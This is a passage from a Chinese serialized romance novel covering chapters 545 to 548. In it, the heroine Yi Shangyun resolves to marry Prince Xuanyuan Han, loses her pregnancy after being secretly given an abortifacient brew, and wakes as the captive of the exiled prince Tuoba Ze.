他从来都没有想过,那般睥睨天下,身份尊贵又一向冰冷的一个人,对于衣上云的感情竟会如此热烈执着,不顾一切。 遂默想了一会儿,衣上坤幽幽说道:“说实话,一路走来,你与秦王之间的一点一滴,为父都看在眼里。” 衣上坤回忆着道:“打从你入宫开始,每次你遇险,秦王都会拼了命的去护着你。你们一起经历了这么多,他对你是真心的,不是吗?” 果然,听了这句话,衣上云眨了眨眼睛,终是心念动了动。 衣上坤又道:“而且在你的心里,你也很想回应他对你的这份爱。否则,也不会有了他的骨肉,对吗?” 闻此,衣上云顿看向衣上坤的脸,嘴上想要试图狡辩:“你胡说,我那明明是为了他能活着离开东……” 真心的话总是来得容易,经不起一丁点儿试探。 而对衣上坤而言,他的这段话,只不过是想当面证实衣上云腹中的孩子究竟是谁的? 此刻显然,答案已经很明显了。 “果然,这个孩子的确是秦王的。”衣上坤道。 事已至此,在衣上坤的面前,衣上云索性也不再隐瞒。 只见她缓缓起身来,幽幽说道:“是又如何?如今三国之间的关系可谓是箭在弦上,一触即发。你知道如果我以衣府嫡女的身份嫁给他成为秦王妃的话,后果会是什么样子的吗?” 衣上坤心里怎会不知,至今过去的多少个日子,这一切都是那样的令他寝食难安。 他是多么希望这一切都是一场梦,梦醒了,一切都还只是原来的样子。 衣上云也只是一个废柴丑女,无论再怎么吵吵闹闹,也都只是在衣府里面。 顿了顿,衣上云愁眉不展地道:“如果我这样做了,迟早有一天,整个衣府,以及偌大的秦王府,所有人的性命都将不保。欺君之罪,如何担得起?” 衣上云心里有一种强烈的不安,喃喃地说:“不……或者……皇上他已经知道了。” 听了这话,衣上坤竟然微微笑了笑,心里竟觉得无比欣慰。 他悠悠地说:“为父的女儿,是真的长大了!许多事情,都能看得如此透彻,凡事也都懂得为别人着想。不像雪儿,整日就还只知道胡闹……” 闻此,衣上云忽然莫名的着急了起来:“都已经什么时候了,父亲为何还会这般说?还能这般笑的出来?” 衣上坤起身,兀自走到衣上云的身旁,对其说道:“你有没有想过,人生许多的事,或许一开始便就已经注定了。无论你如何想要逃,始终都逃不开命运的安排。” 想想过去,感慨万千:“曾几何时,为父也只希望你能嫁一个平凡的人,过一辈子衣食无忧的生活。” “在宫里,为父也是处处谨小慎微,不偏不倚,始终保持中立,明哲保身。” “可终究,我们全都反道是距离自己最初的心意越来越远,不是吗?” 一念至此,衣上坤竟开口说出这样的话来,似是连他自己都不敢相信哪里来的勇气。 思量再三,最后他默默的在心里做了决定,对衣上云说:“如果牺牲整个衣府,能让我的女儿幸福快乐,为父愿意。” 闻此,衣上云吃惊地看着衣上坤的脸,想都没有想,脱口拒绝道:“可是我不愿意。” 衣上坤伸手揽住衣上云的肩头,轻轻拍了拍,与其一道望着窗外衣府岁月静好的寂静夜色。 回忆起往事,幽幽说道:“那一年,那一日,如果我不曾遇到你们母女,为父亦不曾救下你,便也不会有今日的为父,今日的衣府。” 听了衣上坤这段发自肺腑的话,想起自己从未蒙面过的生母,衣上云忽然默默地流起眼泪来。 衣上坤看着她低垂的眼眸,失落的模样,忽然说:“云儿,或许你应该试着再勇敢一点儿。就像你的母亲一样,即使拼尽自己最后一丝力量,也要勇敢地将你带到这个世上来。” 霎那间,衣上云泪如泉涌,仿佛心里仅存的最后一点儿防备也终于彻底塌陷。 不知过了多久。 衣上云却还是摇了摇头,说:“我做不到……我一定做不到。如果我成了西秦秦王的王妃,那以后又该以怎样的立场来面对东宁呢?” 衣上坤吐了口浊气,道:“你的确是东宁国尊贵无比的公主,可却也是西秦国将你养大。这看上去虽然很矛盾,但却是事实。你无法因为左右为难就什么都不做,不是吗?” 衣上坤说着,将其身体掰了过来,面对着自己,看着她的眼睛说:“更何况,你难道忘了,回府的时候,秦王殿下曾经告诉过你,一切他自有安排。” 这句话,让衣上云似是隐隐觉到了什么:“父亲是说殿下他……” 衣上坤点了点头,再次郑重地叮嘱其道:“事已至此,答应为父,让自己再勇敢一点儿,听从自己的心,珍惜当下,相信秦王,相信办法永远比困难多,好不好?” 父女俩四目紧紧相对视在一起。 看着衣上云终于释然了许多,拿起了筷子,衣上坤心里默默地道:“如此命运多舛,善良柔顺的一个孩子,老天为何偏偏不能眷顾她呢?” 衣上坤离开后,燕儿捧着一个茶盘,里面放了碗汤药,小心翼翼地走了进去。 进门一放下手中的茶盘,便立刻朝衣上云的身边跪了下去。 继而哭着朝其致歉道:“小姐……对不起。你不要不理燕儿,燕儿知错了,燕儿不该瞒着小姐。” 在衣上坤的安慰与鼓励下,尽管心里还是有些不安,却已然渐渐地舒展开了眉头,抑郁的情绪也似好了许多。 她将燕儿扶起身来,一边帮其擦拭泪水,一边对其轻声说道:“我也很抱歉,对不起,是我太冲动了。其实这也不能怪你,都是我自己的问题。” 听了衣上云的话,燕儿一把将其紧紧地抱住,深情地唤了一声:“小姐……” 过了会儿,燕儿忽地回过神来紧忙擦干眼泪,将衣上云扶到案边落座下。 紧接着,兀自细心地将茶盘里的汤药端了出来,递到衣上云的面前,说:“小姐,该喝安胎药了!” 衣上云接过面前的这碗安胎药,心里隐隐觉得有些不对劲,说:“燕儿,这两天的安胎药,都是乐太医准备的吗?” 燕儿脱口便道:“回小姐,这些都是小姐回府的时候,秦王殿下特意请乐太医帮小姐准备的。秦王殿下待小姐,那真的是无微不至,没话说的。” 衣上云看了看药汤的颜色,又靠近鼻翼仔细闻了闻。 依旧感觉纳闷地说:“可我怎么总觉得,这药,似是和之前的有些不同。” 燕儿灵光一闪,解释道:“或许因为小姐腹中的胎儿一日日长大了,不同的时期,药方有所更改亦或增减也是有的。” 衣上云想了想,燕儿说的也有道理,便夸她道:“多日未见,燕儿的医术又长进了嘛!” 燕儿笑了笑,衣上云便将手里的药汤一饮而尽。 伺候着衣上云沐浴更衣后,折腾了一天,此刻衣上云也是着实有些身心俱疲了,便准备就寝。 这时,她忽然想起来什么,便吩咐燕儿说:“燕儿,你明日去帮我办一件事情。” “小姐要燕儿做什么?” …… 大婚在即。 轩辕翰的禁足也终于结束了。 早朝后,和几位官员在城中茶聚,众人纷纷朝其道贺,直到傍晚时分方才回到府中。 第五百四十五章:晓看天色暮看云 “秦王殿下请留步。” 轩辕翰刚回府,正欲踏上石阶进门,忽闻身后传出一熟悉的女子声音来。 遂一扭头寻声觅去,不禁顿时有些惊诧地道:“燕儿?你怎么来了?” 未及燕儿走上前来答话,兀自先心下里稍一回想,轩辕翰瞬间大惊失色地道:“可是你家小姐她已经……” 燕儿看到他眼中忽然闪现出自己从未见过的无比惊慌的神情,不明所以地道:“殿下你怎么了?” 轩辕翰方才察觉到自己的失态,遂将双手负到身后,隐忍住心中的不安,故作往日里一贯沉静地道:“哦,本王没事。” 接着又问:“你家小姐……她还好吗?” 燕儿这才上前了两步,到其面前朝其躬身行礼起来:“燕儿给秦王殿下请安!” 紧接着立起身来,方才回答他:“承蒙殿下关心,我家小姐这次回府后一切尚都安好,只是……” 看到燕儿说话有些犹犹豫豫,轩辕翰忍不住再次紧张着急了起来,忙追问:“只是什么?” 对于衣上云回到衣府后,因为太后赐婚,情绪激动而再次发病的事情,燕儿显然至今都有些后怕着。 索性一切也都算是过去了,便也就换了话题。 于是,燕儿笑了笑,说:“也……没什么。” 轩辕翰正在为此而半信半疑间,燕儿忽然开口打断了他的思绪:“对了,秦王殿下,今日燕儿来找殿下,是因为我家小姐……她想见你。” “云儿……她想……见我……”闻此,轩辕翰难以置信地说。 可心里竟却莫名有些激动,因为这是衣上云第一次主动说想见他。 虽说只是叫燕儿带的话,他却已经很满足了,感觉自己所做的一切,似是终于换来了她的真心以待。 像是怕极了这来之不易的幸福不经意便会溜走,遂满脸期待地问:“现在吗?” 燕儿肯定地点了点头:“为此一大早我便来此等候殿下了。” “哦,对了……”说着,燕儿又紧忙从身上摸出一封衣上云的亲笔书信来。 将其双手举起,递到了轩辕翰的面前。 信里,一手隽秀流利的字迹诚恳认真地写道。 “殿下在上:红尘万丈,今生何其有幸能遇殿下。一路风尘,云儿深知面对这份不寻常的感情,一直是殿下一人孤自在默默付出与坚持,而自己总是唯唯诺诺。或许,正如父亲所言,云儿当真是该试着再勇敢一点儿。深知与殿下势必将会面临无数的坎坷与荆棘。但是,这次,云儿想要……只是发自内心,纯粹的想要与殿下一起面对,再也不逃避自己的心。晓看天色暮看云,行也思君,坐也思君。 云字。” 看了这篇短短的信笺,却是满满写着衣上云的勇气和决心。 这着实令轩辕翰不甚喜出望外,脸上不禁顿时洋溢出从未有过的幸福笑容。 自打衣上云离开秦王府以后,轩辕翰也着实一直都很担心。 如果不是因为大婚在即,衣上云必须回府待嫁,轩辕翰这辈子一刻也不想放开她。 这一刻,两个人终于愿意双向奔赴,决定彼此坦诚相对。 轩辕翰只想立刻,马上飞奔到她的面前,将她紧紧拥入到自己的怀中。 遂稍一思索,便颇有兴致,迫不及待地问:“她在哪里?快带本王去见她……本王要马上见她……” 燕儿心里又何尝不替这二人高兴,忙道:“殿下请跟我走。” 燕儿刚一转身,轩辕翰忽然开口阻止其道:“等等……” 紧接着又命令侍卫:“来人,备马!” 于是,轩辕翰便载着燕儿一道策马疾驰离开。 距离城西衣府不远处。 一潭迂回掩映在山间碧绿的湖水,静谧得像一块光亮的镜子。 将天边的浮云暮色,连同花落红退,绿意逼人,山清水秀,松涛竹海,鸟语花香,亭立榭卧的旖旎风光的倒影尽数映得清清楚楚。 在这暮春的傍晚,湖水悠悠,暮色苍茫,唯有待归的倦鸟依旧在湖岸边的丛林里时高时低,时进时出。 湖边有一精美的八角凉亭,衣上云从早晨天一亮便来到这里,站在顶楼,看着天上的云霞,由如何绚烂,又渐渐变的暗淡。 望着眼前平静的湖面,心里默默地回忆着与轩辕翰打从相识开始至今所经历过的点点滴滴,以及待会儿见到他,准备要和他所讲的话。 “云儿……” 终于,她等到了那心心念念的声音响起。 “殿下……” 只不过回首之间,轩辕翰便以胜过往常所有时刻,无比热烈的吻迎了上来。 在他毫不给她任何喘气的机会,霸道强烈的索取下,衣上云的理智很快便被彻底攻陷。 渐渐地沉醉于其中,双手缓缓抬起环住他的腰身,回应起他来。 树影朦胧,直到一弯嫩月升起挂在了天边。 一番长长的深吻过后,似是胜过千言万语,方才自己所有的准备,终成了多余。 最后,衣上云满意地依偎在轩辕翰温暖的怀抱里,缱绻旖旎。 忽然,她抬起手来指着湖对岸远处一座悬崖前的树林问:“殿下可还记得那个地方?” 轩辕翰顺着其用手所指去的方向,稍微一打量,挑了挑眉说:“那里……本王怎么会忘记?” 衣上云有些不相信,抬头定定地看着他的眼睛,再次朝其追问:“那殿下不妨就说说那是什么地方呢?” 轩辕翰嘴角微微勾出一抹弧度来,一脸幸福地道:“那是本王与本王的王妃初次相识的地方。” “啊!这么容易就被你猜到了,原来真的记得呢!” 天色都已经这么暗了,依稀大概只能看到个影子,却还能这么容易便就被发现,衣上云显然是真的有些惊讶。 这时,轩辕翰垂首看着衣上云隐隐有些失望的脸,在其耳边认真地说:“只要是和你有关的,即便生生世世,本王永远不会忘记。” 回想起俩人第一次遇见,也是在这样的夜晚,她是那样无所畏惧地救了自己,换做一般女子,怕是早就被吓跑了。 轩辕翰颇有感触地说:“原来一切都是命中注定,本王一开始便就欠下你的。只是不知道……这辈子还不还得完……” 闻此,衣上云悄悄笑了笑,从来没有觉得如此幸福过。 沉默了许久,却也像是已经在心里反反覆覆思量了好多遍,轩辕翰终于鼓起了勇气来问。 “云儿,如果有一天,本王不得已做了伤害你的事情,你会不会原谅本王?” 闻此,衣上云顿回看向轩辕翰的脸,满脸质疑地反问其道:“我可是救过殿下的命呢,殿下会做伤害我的事吗?” “是啊,你救本王何止一次?”轩辕翰与其互相对视着,顿了顿,心里暗暗地想。 回过神来遂开口说:“本王只是说如果……” “嗯……”衣上云想了想,见其有些认真,便也认真地回答说:“不知道,我想要看是什么事情吧?” 轩辕翰倒抽了口气,在心里默默的歉声道:“云儿,对不起,无论如何,本王都不能没有你。剩下的时间不多了,为了你,本王别无选择。” 一念至此,他的心里再次又开始紧张害怕了起来。 于是更加用力地紧了紧拥住怀里的人儿,生怕自己一不小心,便会被她再次偷偷溜走。 直至夜深人静的时候,俩人方才牵着马迟迟走回到衣府门前的巷口。 眼看着马上就要到家门口了,衣上云忽然止住步道:“好了,殿下就送到这儿吧,我自己回去便可!” 轩辕翰看了看剩下的路,依旧不放心地道:“本王还是亲自看着你进门比较安心。” 衣上云执意不肯:“我真的可以,殿下也赶快回去吧。夜深了,太妃娘娘会担心殿下的。” 无奈,轩辕翰终究拗不过她。 衣上云一再地催促道:“殿下赶快回吧,明儿一早还要早朝呢,我看着你走……” 轩辕翰还想试着争取一下:“你真的可以吗?” 衣上云推着他的一只胳膊,肯定地道:“可以,当然可以,这可是我家门前,不会有问题的,殿下赶快回去吧。” 不得已,轩辕翰只得转身跨上了马。 马儿刚一转身,轩辕翰忽开口道:“云儿……” “嗯……”衣上云抬起头来看着他的眼睛,轻轻答应了一声。 轩辕翰柔声道:“陌上花开,可缓缓归矣。” 闻此,一想到俩人马上即将大婚,衣上云的脸颊上不禁忽然泛起一阵潮红,顿觉自己无比幸福。 见她顿时羞红的脸,轩辕翰亦终于扬鞭,策马离开。 直到目送其背影渐渐消失在眼前的沉沉夜色里,衣上云方才缓缓转身。 正欲迈开步来回去,忽然,腹部再次袭来一阵尤为剧烈的疼痛感,她本能地附手上去将其按住,忍不住发出一阵难以承受的闷哼声:“哼……” 然她很快就发现不对劲,与以往不同,这次似是隐隐觉得仿佛下身有什么东西在缓缓渗出。 心里顿时有一种极不好的感觉:“难道是……是……” 第五百四十六章:巷口失踪 拖着一种突然袭遍全身极度的从未有过的痛感,衣上云忍不住本能地渐渐将身体蜷缩了起来。 遂又附手上去一把紧紧地按住腹部,扫了一眼周围,锁定了身旁一处月光照耀稍微明亮些许的墙角。 深呼吸,积攒了些许力气,方才跌跌撞撞地挪步过去紧紧地贴在了墙壁上,暂时支撑住自己的身体。 再次深呼吸,终于鼓足了勇气借着头顶的月光,怯怯地朝着自己身下巡视看去。 当她一见到裙子上所渗出的斑斑血迹,瞬间吓呆了。 待一回过神来,难以置信地自言自语:“怎么会这样?” 仅仅须臾之间,她的额头便已布满了冷汗。 已然来不及细细思量,她知道自己情况很不好,甚至已十分危急。 于是,只能吃力地慢慢再次尝试着用另一只手扶着墙壁,想要继续向着已近在眼前的衣府门前挪去。 可没走两步,她觉得自己的身体愈发抖动地厉害。 与此同时,因为体内愈来愈剧烈的疼痛感,她也实在已经快没了力气,就连呼救声亦已经微乎其微,断断续续,似是快要已经发不出来。 “父亲……” “母亲……” “燕儿……” “救命……” “救救……救救我……我的孩子……孩子……” 漆黑的夜里,空无一人的巷口,家门就在眼前,可怜她却叫天天不应,叫地地不灵。 话未说完,直觉双腿忽然彻底失去了力量,跟着眼前一黑,整个人便彻底晕了过去。 就在这时,“嘎吱”一声。 距离不远处,衣府的大门终于被人从里面打了开来。 原是燕儿跨过门槛,从台阶上走了下来。 她朝着巷口仔细望了望,纳闷地道:“奇怪,都已经这么晚了,小姐怎么还没回来?” 话音刚落,家主衣上坤也紧随其后走出门来,问:“怎么?小姐到现在还没回来吗?” 事实上,在得知衣上云今日约见了轩辕翰后,他便一直坐卧不安。 隐隐觉得像是有什么事要发生,直至现在心里都还七上八下地忐忑着。 燕儿看了看他,又兀自垂头丧气地摇了摇头。 然心念一动,却又顿扬起笑容忽然兴奋了起来,看着衣上坤的脸说:“会不会是秦王殿下与小姐终于有情人终成眷属了。人家不是常说……一日不见,如隔三秋嘛。所以,便将小姐带回秦王府了呢?” 岂料衣上坤却将燕儿瞪了一眼,道:“不许瞎说。” 燕儿被训斥后立刻收敛起来。 衣上坤幽幽道:“之前将云儿留在秦王府,秦王殿下是迫不得已,只想保护她。但殿下并不是不识礼数之人,大婚在即,男女双方是不能见面的,若不是因为……” 一想到衣上云因为太后赐婚一事显些闹出了大事,以及其身体状况,衣上坤又欲言又止了起来,最后只道:“总之,秦王殿下是绝对不会这么做的便是了。” 燕儿似懂非懂,只能垂首下去,默默地收了声:“哦……” 而衣上坤显然是越想越着急,再看看周围到处一片漆黑寂静。 眼前的这片暗夜,太过沉重,重的似是让人不得呼吸,又像是要吞噬掉世界万物一般,让他不禁顿时觉得从未有过如此害怕。 于是,他便对燕儿说道:“去拿盏灯过来,咱们过去到巷口等一等吧。” “哦” 燕儿答应着,很快便进去挑了一盏沧海月明纱灯再次踏出了门来。 衣上坤回头一看。 只见纱灯上绘着一片深蓝色的沧海,一轮皎洁的圆月倒映在波光粼粼的海上,仿佛珍珠一样细碎的光亮,带着令人落泪的光芒。 远处的山峦,呈现出世间尤为罕见的蓝绿色,仿佛笼罩着淡淡飘渺的青烟。 上面提写着:“沧海月明珠有泪,蓝田日暖玉生烟。” 灯笼倒是做的颇为精致,这不禁令衣上坤再次被震撼到,他尽不知,衣上云的丹青何时竟已精进至此。 然此情此景,这画境却仿佛让人瞬间坠入一个无底的深海之中,忧郁地喘不过气来。 顿时,衣上坤气不打一处来地冲着燕儿斥责道:“我让你去挑灯,你把这个拿出来做什么?” 燕儿却是不以为然,乐在其中道:“老爷有所不知,这盏纱灯上的沧海月明图是小姐亲手绘制的,纱灯也是小姐亲手做的。小姐说沧海月明是取自于……沧海月明珠有泪……的典故……” 话说至此,燕儿心念一动,问衣上坤道:“对了,老爷你知不知道这个典故啊,就是博什么图里的……南海有什么鲛鱼人……居水里……其眼泪能生成珍珠……” 衣上坤对这小丫头莫名其妙的举动,显然一脸无奈。 转身兀自一边朝着巷口走去,一边替其纠错道:“是《博物志》里的……南海水有鲛人,水居如鱼,不废织绩,其眼能泣珠。” “对对对,就是这句话,就是这句话。”燕儿听了,挠了自己的脑袋高兴地道。 紧接着继续对着自己手里的纱灯,喜道:“待会儿小姐回来远远地一看见它,便就知道是燕儿在等她,小姐一定会更加高兴的。” 说完一抬头,方才发现衣上坤早已独自走远了。 “老爷等等我。”燕儿一边叫喊着,紧随其后追了上去。 可主仆俩在巷口一齐左顾右盼了许久,最后却是始终一无所获,什么都没有看到,更没有等到。 这时,衣上坤的心里不知为何又想起了另一件事,使他更加害怕:“看那药的份量,也该起效了,云儿没有经验,若是身边再没有人帮忙处理,那可该如何是好?” 一念至此,遂在心里默默地祈祷:“老天保佑,可千万不要出什么事才好。” 就在其沉思担忧之际,燕儿忽然从另一边朝其大声呼唤道:“老爷你快过来,快看看这是什么?” 衣上坤寻声觅去,在燕儿手里的灯光照耀下,看到地上留有一滩血迹。 遂紧忙蹲身下去,附手过去沾了些许地上的血迹,用手指轻轻抹开,道:“这血迹尚未凝固,还是新的。” 燕儿想了想,道:“新的血迹?这里怎么会有血迹呢?我们已经在这里多时,并未见有任何事发生呀。” 说着,燕儿便继续朝周围查看了起来,想要寻出一些蛛丝马迹。 衣上坤也立起身来,朝四周仔细盘查。 没过一会儿,燕儿手里紧紧攥着一条绣着‘云’字的白色丝帕,走到了衣上坤的面前,愣愣地看着他,道:“老爷……” 衣上坤接过,一见那绣帕熟悉的质地及上面的字迹与绣工,顿惊看向燕儿的脸,道:“这是……” 燕儿眼里充满了泪水,伤心地道:“这是只有小姐才有的丝帕,是燕儿今日特地为小姐挑了带在身上的。因为秦王殿下就是因为这条同样的丝帕,才再次寻到了小姐。” 紧接着,燕儿紧张地看了看四周,肯定极了地道:“小姐她一定是已经回来过了。” 一念至此,燕儿心里虽然抗拒却又不得不担心极了地说:“莫非这血迹是……是……” 衣上坤看看手里的丝帕,再看看地上的血迹,心里顿时升起一抹极不好的预感:“糟了,该不会是真的已经……” 一念至此,衣上坤紧忙吩咐燕儿:“燕儿,赶快去秦王府。” “去秦王府?” “现在?” “可是……” 燕儿连连纳闷地问。 衣上坤一边疾步回去,一边将燕儿的思绪打断:“不要再可是了,小姐出事了。” “什么?小姐……小姐出事了……小姐怎么了?”霎时间,燕儿一边紧随衣上坤身后追赶着,一边仍旧不明所以地问。 是夜,秦王府。 林月轩里,轩辕翰打从回府后,便将自己关了起来。 一个人坐在案几前,捧着一盏茶放到嘴边,却迟迟都没有入口。 只痴痴傻傻地发呆至今,唯有不时嘴角上扬露出一抹笑容,陶醉在与衣上云今日的见面中。 不知为何,胸口忽然发作起一阵疼痛,他忍不住闷哼了一声,此刻终于醒过了神来。 见天色已晚,便起身来正准备宽衣就寝。 一名侍卫脚步匆匆地走了进来,朝其禀报道:“殿下,城西衣府来人了。” 在殿外等候的衣上坤一看到轩辕翰出现,便紧忙抱起拳来朝其行礼:“参见秦王殿下,深夜造访,乃是因为小女……” 未及其将话说完,轩辕翰瞪大了眼睛抢先说道:“可是她已经……” 衣上坤咬了咬牙,先道:“秦王殿下,小女她……不见了。” 轩辕翰顿时大惊失色地道:“什么?不见了?” 遂一回想,急道:“本王不是亲自将她送回去了吗?” 衣上坤稍一思索,紧忙追问道:“那殿下可曾亲眼看到她进家门?” 轩辕翰此刻已然后悔极了,道:“本王原本是要亲眼看着她进门才放心。可她执意要自己进去,非要看着本王先离开,所以……” 衣上坤又道:“在门前的巷子里,发现了一滩血迹,应该是已经……” 此话一出,瞬间一室寂静了下来。 “来人,立刻连夜全城搜索,务必将王妃给本王找出来,快!” 忽闻一声令下,瞬间振彻了整座大殿。 无论多么漆黑漫长的黑夜,终将都会过去,黎明的曙光,一路追赶着亦总会如约而至。 “我在哪里?” “我怎么了?” “头好痛……” “身子像是被抽空了一般……” “好像没有一丁点儿力气……” “到底发生了什么?” 当衣上云再次睁开眼睛的时候,已经是三日过去。 第五百四十七章:子落 “我在哪里?” “我怎么了?” “头好痛……” “身子像是被抽空了一般……” “好像没有一丁点儿力气……” “到底发生了什么?” 当衣上云再次睁开眼睛的时候,已经是三日过去。 就在其刚刚苏醒,意识尚还迷迷糊糊,嘴里也似是在断断续续地发出一些如梦魇般的喃喃之音时,屋内忽然传出一男子的声音来。 “你终于醒了!” 闻声,衣上云努力尝试挣扎着想要坐起身来,并本能一般地呼唤道:“殿下,是你吗?” 可当那个人的模样霎时间清晰地出现在自己眼前时,衣上云整个人瞬间近乎如同白日见鬼了一般,惊讶地欲言又止收起了声:“我……” 用力挤了挤刚睁开的眼睛,可眼前的模样依旧不变。 稍一思量,转而更是连连吃惊。 “是你?” “你怎么……” “你竟然……” “这怎么可能?” 可明显尚未等她反应过来,很快,其无边思绪便被眼前所出现的这个男人先开口打断。 “怎么?好久不见,没想到本皇子竟然还好端端地活在这个世上,很吃惊对不对!” 那人一边说着,一边收起正高高翘起的二郎腿:“还是,应该说……你心中的失望更多一些呢?” 遂将手里握着的一只琉璃茶盏亦轻轻地放了下来,兀自从屋内的茶几边立起身,踱步缓缓朝衣上云的榻边走了过来。 隐忍着身上此刻极度不适的痛楚终于强坐起身来,衣上云这才环顾了周围一眼。 看到自己完全陌生的环境,心里暗暗回想着:“这是什么地方?我怎么会在这儿?” 一念至此,她连连质问男子道:“这是哪里?拓跋泽,是你把我带到这里来的?” 拓跋泽的确没想到,跟着那个小丫头居然真的捉住了衣上云。 于是悠悠道:“没错,是我带你来这里的,可眼下这是哪里并不重要,不过,倒是当初本皇子还真是小瞧你了。” 顿了顿,他再次打量了一番衣上云,紧接着说:“不知我现在应该是叫你衣大小姐呢?还是叫你东宁国嫡出尊贵的永宁公主?亦或者……该称你一声秦王妃呢?” 衣上云听了,用鼻子冷冷地哼了他一声:“哼……” 继而扭过了头去,似是永远都不屑再多看他一眼。 遂嘴上毫不客气地道:“废话少说,你带我来这里,到底想做什么?” “我想做什么?” 拓跋泽重复了一句,继而嘴角一斜,勾出一抹弧度来,道:“怎么?你是故意装糊涂呢,还是真的这么快便忘了是谁害的本皇子成了如今这般一个国破家亡的亡命之徒了么?” 说着,竟俯身下去将两只手撑在了衣上云的榻边,并将脸凑近了过去到其鼻子边上,一副轻佻至极的模样。 “我想做什么,你不妨猜上一猜?江山,美人,我怎可皆都辜负!” 霎时之间,衣上云被他如此近距离地贴上来的眼里所透露出的明显不怀好意欲望,惊吓地几乎使出了仅有的全身力气来将他一把推开,大声喝道:“拓跋泽,你敢……” 拓跋泽受力后,出乎意料地顿直起身来后退了两步,然很快便定住。 脸上转而露出一抹极具玩味的笑来。 许是因为太过于紧张,一时又用力过猛,衣上云忽觉腹部传来一阵阵痛。 于是忙附手上去按住痛处,然紧接着却觉下身似是有不明液体在缓缓流出。 遂心下里一想,之前屡屡觉得身体隐隐有些什么不对劲。 一念至此,她忽然有种极不好的感觉,于是着急地问:“我到底怎么了?我的孩子……” 拓跋泽一副云淡风轻地说:“没什么大不了的,只是腹中的孽种没了而已,如此反倒更好……” 未及其将话说完,衣上云顿直觉晴天乍出一道霹雳,惊声将其打断,眼睛直勾勾地盯着他的脸说:“你说什么?没了?” 拓跋泽看着她的眼睛,忽然认真地说:“对,没了。妇科圣手来过,本皇子亲眼所见,是个已经初具人形的男婴。” 衣上云怔望了他许久,对此难以置信,更无法接受。 可身上的不适感告诉她,她的确已经失去了这个孩子。 过了会儿,她默默垂首下去凝视着自己的腹部,想想与其虽素未蒙面,这短短几个月相依为命的日子。 衣上云不禁潸然泪下,喃喃低语:“不可能,这不可能……我的孩子……怎么会……怎么会……” 百思不得其解。 忽看向拓跋泽的脸,愤愤质问其:“是不是你……” 面对她满是质疑忿忿的眼神,拓跋泽严肃地道:“不是本皇子做的。” “不是你?”衣上云眼里含泪,冷冷地道。 拓跋泽见她此时此刻实在可怜,亦不知被谁算计了。 索性便告诉了她真相,道:“蠢女人,被人灌下了落子汤都不知道。” “什么,落子汤?”闻此,衣上云顿时惊呆了。 遂一细想,很快心里便明白了过来:“难怪自己觉得这几日所服用的药汤似是与往日的不同,竟是落子汤!” 那可是秦王轩辕翰亲自让乐太医准备的。 终究是她大意了,怎么都没想到会被自己最信任的人算计。 一念至此,万念俱灰。 伤心地嘴里喃喃说道:“难道他终是不信我,当真以为那孩子是三少的?” 再一细想:“所以,想要赶在大婚之前拿掉这个孩子。” 一室寂静。 不知过了多久,衣上云忽然扬声朝拓跋泽咆哮了起来:“你给我出去,出去……立刻滚出去!” 情急之下,就连手边的枕头也被狠狠地砸了出去。 拓跋泽望着其忽然像是疯魔了一样的模样大惊,震撼明明这般瘦小的身躯怎会发出如此巨大的力量来。 “出去!” 就在他本来还想再说些什么,可见她再次发怒尖叫了一声,不得已只得先让她独自冷静下来。 于是,便挥了挥衣袖,骂骂咧咧着亦愤愤离开了屋子:“哼……蠢女人……蠢的简直无药可救!” 拓跋泽离开后,衣上云终于嚎啕大哭了出来。 “为什么?” “为什么这么对我?” “为什么会变成这个样子?” 是夜。 踏着月色,紫苏心情沉重,忐忑不安地回到了百草谷里。 这几日,发生在衣府门前,以及拓跋泽的隐秘处所的所有事情,前前后后均被其看在了眼里。 原来那夜在秦王府门前,燕儿所说一点不虚,衣上云的这个孩子,终究是没能保住。 然此刻令她所震惊的,是为了保住衣上云的性命,秦王轩辕翰竟会亲自动手扼杀了自己尚未来到世间的亲骨肉。 如此看来,世人口中所传说的天下最冰冷无情的战神秦王,却是世间当真最痴情的男人。 一路一边往回走,一边若有所思着。 直到看到前方烛火照耀下,“逍遥阁”的匾额现了出来,方才驻足深深地吸了口气,朝其继续过去。 刚一踏上台阶,附手上去推开了逍遥阁的门,忽见易三少独自坐在里面。 紫苏顿回过神来,惊诧地道:“三少,你何时回来了?” 易三少正在独自自斟自饮着,见紫苏回来,看了其一眼,兀自继续手里的动作。 只道:“我一收到你的飞鸽传书,便调转船头赶了回来。” 紫苏有些心虚,然仍故作镇定地上前去问:“三少可是也担心北烈大皇子和东宁永乐公主,以及西秦学院大小姐三人联合起来,是有什么阴谋?” 易三少灌下一口酒,却说:“这三人心术颇为不正,平日里又与丫头结怨甚深,我只怕他们三人结盟,欲对丫头不利。” 原来易三少心心念念放不下的,始终只是衣上云一人而已。 紫苏心里黯然默想着,转而又问:“那国君那边,三少又该作何解释?” “我已命人稍回了亲笔书信,告知父皇晚几日回国,不碍事。”易三少道。 “那便好,那便好……”紫苏眼神有些飘忽不定地道。 见紫苏打从进门起便似神情恍惚,像有什么难言之隐一般,易三少试探着问:“紫苏,这几日,没发生什么事吧?” 闻声,紫苏忽然朝其眼睛怔愣住。 片刻后,继而吞吞吐吐道:“这几日……” 见易三少目光定定地看着自己,紫苏说:“能有什么事,没什么事,都很好……很好!” 可话一说完,终是心虚地垂首了下去,不敢再看易三少的脸,怕自己的心事很快便被其识破。 易三少越看越不对劲,索性立起身来踱步到紫苏的身旁。 双手附后,绕着她周身不经意地转了一圈,又将其再次仔细地打量了一番。 方才停下脚步,说:“不对,你一定还有什么其他事情瞒着我,是不是?除了那三人的消息之外,还有一些消息没有告诉我。” 闻此,紫苏心里忽然着急了起来,忙抱起拳来,嘴上却依旧对其说:“紫苏不敢,请三少明察。” 易三少隐隐觉得一定有什么不好的事情发生,于是隐忍着心里的焦急,再次耐下心来问:“跟随我左右多年,你一向都不会对我撒谎。所以,这几日究竟发生了什么事?” 霎时间,一室寂静,仿佛就连空气都静止了一般…… 第五百四十八章:狂风骤起,雨打芭蕉叶 霎时间,一室寂静,仿佛就连周围的空气都静止了一般。 忽然,易三少再也压制不住心头的着急,扬声怒喝了起来:“还不快说……” 见到即便自己已怒不可遏至此,可紫苏依旧执着着自己的心思,易三少忽然反应了过来。 内心不禁甚觉惊诧,于是试探着问:“该不会是……你已经寻到丫头的消息了?” 今生今世,她所做的一切都只是为了眼前的这个主人。 可当自己仅此唯一一次自私的念头这么快便被拆穿的时候,紫苏惊谔地看向了易三少的脸,道:“我……” 却是刚开了口,又目光急急躲闪着收了声。 见其已然默认,一时间,易三少心里又惊又喜。 他恨不得马上飞奔出现在衣上云的面前,将她紧紧拥入自己的怀中。 